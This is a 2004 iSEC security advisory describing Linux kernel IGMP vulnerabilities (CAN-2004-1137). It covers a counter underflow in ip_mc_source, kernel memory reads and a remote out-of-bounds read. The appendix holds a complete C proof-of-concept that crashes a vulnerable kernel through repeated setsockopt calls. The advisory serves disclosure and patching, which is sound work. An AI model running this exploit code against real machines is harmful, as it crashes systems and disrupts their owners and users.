Date: Tue, 14 Dec 2004 11:31:21 +0100 (CET)
From: Paul Starzetz <ihaquer@isec.pl.>
To: [email protected], [email protected],
Subject: Linux kernel IGMP vulnerabilities
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Synopsis: Linux kernel IGMP vulnerabilities
Product: Linux kernel
Version: 2.4 up to and including 2.4.28, 2.6 up to and including 2.6.9
Vendor: http://www.kernel.org/
URL: http://isec.pl/vulnerabilities/isec-0018-igmp.txt
CVE: CAN-2004-1137
Author: Paul Starzetz <ihaquer@isec.pl.>
Date: Dec 14, 2004
Issue:
======
Multiple locally as well as remotely exploitable bugs have been found in
the Linux IGMP networking module and the corresponding user API.
Details:
========
The IGMP (or internet group management protocol) is today's standard for
delivering multicast functionality to internet hosts. The Linux kernel
incorporates a base set of the IGMPv2 and IGMPv3 specifications and is
subdivided into two logical parts:
- - the IGMP/IP networking module responsible for network level operation,
that is only compiled into the kernel if configured for multicasting,
- - the socket API delivering multicasting capabilities to user level
applications, which is always available on Linux.
Both parts of the IGMP subsystem have exploitable flaws:
(1) the ip_mc_source() function, that can be called through the user API
(the IP_(UN)BLOCK_SOURCE, IP_ADD/DROP_SOURCE_MEMBERSHIP as well as
MCAST_(UN)BLOCK_SOURCE and MCAST_JOIN/LEAVE_SOURCE_GROUP socket SOL_IP
level options) suffers from a serious kernel hang and kernel memory
overwrite problem.
It is possible to decrement the 'sl_count' counter of the
'ip_sf_socklist' structure to be 0xffffffff (that is -1 as signed
integer, see attached PoC code) with the consequence, that a repeated
call to above function will start a kernel loop counting from 0 to
UINT_MAX. This will cause a kernel hang for minutes (depending on the
machine speed).
Right after that the whole kernel memory following the kmalloc'ated
buffer will be shifted by 4 bytes causing an immediate machine reboot
under normal operating conditions. If properly exploited this will lead
to elevated privileges.
(2) Because of the bug (1) it is possible to read huge portions of
kernel memory following a kernel buffer through the ip_mc_msfget() and
ip_mc_gsfget() (user API) functions.
(3) The igmp_marksources() function from the network module is called in
the context of an IGMP group query received from the network and suffers
from an out of bound read access to kernel memory. It happens because
the received IGMP message's parameters are not validated properly. This
flaw is remotely exploitable on Linux machines with multicasting support
if and only if an application has bound a multicast socket.
Discussion:
=============
(1) It is quite obvious that moving around all kernel memory following a
kmalloc'ated buffer is a bad idea. However if done very carefully this
may give a local attacker elevated privileges.
We strongly believe that this flaw is very easily exploitable on SMP
machines (where one thread can interrupt the copy loop before the kernel
gets completely destroyed).
On uniprocessor configurations the exploitability is questionable since
there is no other exit condition from the copy loop than a kernel oops
if we hit a non existing page. If an attacker manages to trick the
kernel to allocate the buffer just right before the end of kernel's
physical memory mapping and also manages to place for example a LDT just
after that buffer, he may gain elevated privileges also on uniprocessor
machines.
(2) No special handling is required to exploit this flaw in conjunction
with bug described in (1). This issue is slightly related to the loff_t
race discovered by iSEC in August 2004. Please refer to
http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt
for further information about consequences of reading privileged kernel
memory.
(3) The last bug described here refers to a remote kernel vulnerability.
There are several conditions that must be meet for remote exploitation.
First, the kernel must have been compiled with multicasting support and
process incoming IGMP packets. Moreover, an attacker must be able to
send group queries (IGMP_HOST_MEMBERSHIP_QUERY messages) to the
vulnerable machine.
Second requirement is an application on the vulnerable machine with a
bound multicast socket with attached source filter. There are numerous
applications using multicasting like video conferencing or routing
software, just to name few. The attacker must also know the IGMP group
used to perform the attack.
You can check if your configuration is vulnerable by looking at these
files:
/proc/net/igmp
/proc/net/mcfilter
if both exist and are non-empty you are vulnerable!
Since the kernel does not validate the ih3->nsrcs IGMP parameter, the
igmp_marksources() internal kernel function may access kernel memory
outside of the allocated socket buffer holding the IGMP message.
Depending on the relative position of the socket buffer in the kernel
memory this may lead to an immediate kernel crash.
Another consequence is that the kernel will spend most of the CPU time
on scanning useless kernel data right after the buffer if the nsrcs
parameter is very high. If a continuous flow of prepared IGMP packets is
sent to a vulnerable machine, it may stop to process other network
traffic. For an average machine only a moderate IGMP packet flow is
required. This may lead to serious problems in case of routing software.
Impact:
=======
Unprivileged local users may gain elevated (root) privileges. Remote
users may hang or even crash a vulnerable Linux machine.
Credits:
========
Paul Starzetz <ihaquer@isec.pl.> has identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.
Disclaimer:
===========
This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.
The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in
this document. Liability claims regarding damage caused by the use of
any information provided, including any kind of information which is
incomplete or incorrect, will therefore be rejected.
Appendix:
=========
/*
* Linux igmp.c local DoS
* Warning: this code will crash your machine!
*
* gcc -O2 mreqfck.c -o mreqfck
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/types.h>
#define MCAST_INCLUDE 1
#define IP_MSFILTER 41
#define IP_UNBLOCK_SOURCE 37
#define IP_BLOCK_SOURCE 38
struct ip_msfilter
{
__u32 imsf_multiaddr;
__u32 imsf_interface;
__u32 imsf_fmode;
__u32 imsf_numsrc;
__u32 imsf_slist[1];
};
struct ip_mreq_source
{
__u32 imr_multiaddr;
__u32 imr_interface;
__u32 imr_sourceaddr;
};
void
fatal (const char *message)
{
printf ("\n");
if (!errno)
{
fprintf (stdout, "FATAL: %s\n", message);
}
else
{
fprintf (stdout, "FATAL: %s (%s) ", message,
(char *) (strerror (errno)));
}
printf ("\n");
fflush (stdout);
exit (1);
}
int
main ()
{
int s, r, l;
struct ip_mreqn mr;
struct ip_msfilter msf;
struct ip_mreq_source ms;
in_addr_t a1, a2;
s = socket (AF_INET, SOCK_DGRAM, 0);
if (s < 0)
fatal ("socket");
// first join mcast group
memset (&mr, 0, sizeof (mr));
mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199");
l = sizeof (mr);
r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
if (r < 0)
fatal ("setsockopt");
// add source filter count=1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");
// del source filter count = 0
// imr_multiaddr & imr_interface must correspond to ADD
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");
// del again, count = -1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt3");
// crash
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt4");
getchar ();
return 0;
}
- --
Paul Starzetz
iSEC Security Research
http://isec.pl/
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